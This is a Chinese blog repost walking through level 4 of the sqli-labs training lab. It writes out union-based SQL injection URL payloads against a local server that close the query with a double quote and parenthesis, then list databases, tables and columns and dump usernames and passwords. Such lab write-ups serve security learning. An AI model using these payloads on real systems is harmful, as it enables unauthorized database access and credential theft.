sqli-labs(4)

最新推荐文章于 2023-10-14 16:23:02 发布

weixin_30876945

最新推荐文章于 2023-10-14 16:23:02 发布

阅读量152

点赞数

CC 4.0 BY-SA版权

文章标签： php 数据库

原文链接：http://www.cnblogs.com/-zhong/p/10888323.html

本文记录了sqli-libs(4)的通关过程。先进行注入试探，发现单引号回显正常、双引号回显错误，查看源码得知语法是给id参数加双引号及右括号注入。接着验证思路，成功后按正常流程进行爆库名、表名、列名和字段等操作。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

sqli-libs(4)通关过程

0x01爱之初体验

首先我们进行注入试探发现我们的单引号回显事正常的双引号回显反而是错误的

查看源码我们发现多了一个给id赋值的语句我们在php上面执行一下看一下是什么意思

<?php
$id='1';
$id = '"' . $id . '"';
echo $id;
?>

我们看见执行的结果是"1" 可以得知原来这个语法是个id参数加了两个双引号并且还是右括号的注入

思路有了我们开始下一步

0x02爱之初试探

看看我们的思路是不是对的他的参数应该是id=("")这样的那么我们只需要闭合前面的语句就行后面的用%23来闭合执行一下语句

http://127.0.0.1/sql1/Less-4/?id=-1%22)%20union%20select%20null,null,database()%23

我滴天成功了思路是真确的那么就下来我们就要进行正常流程了

0x03爱之深入挑选

a爆库名

http://127.0.0.1/sql1/Less-4/?id=-1%22)%20union%20select%20null,null,(select%20group_concat(schema_name)%20from%20information_schema.schemata)%23

b爆表名

http://127.0.0.1/sql1/Less-4/?id=-1%22)%20union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)%23

c爆列名

http://127.0.0.1/sql1/Less-4/?id=-1%22)%20union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23

d爆字段

http://127.0.0.1/sql1/Less-4/?id=-1%22)%20union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23

成功执行

转载于:https://www.cnblogs.com/-zhong/p/10888323.html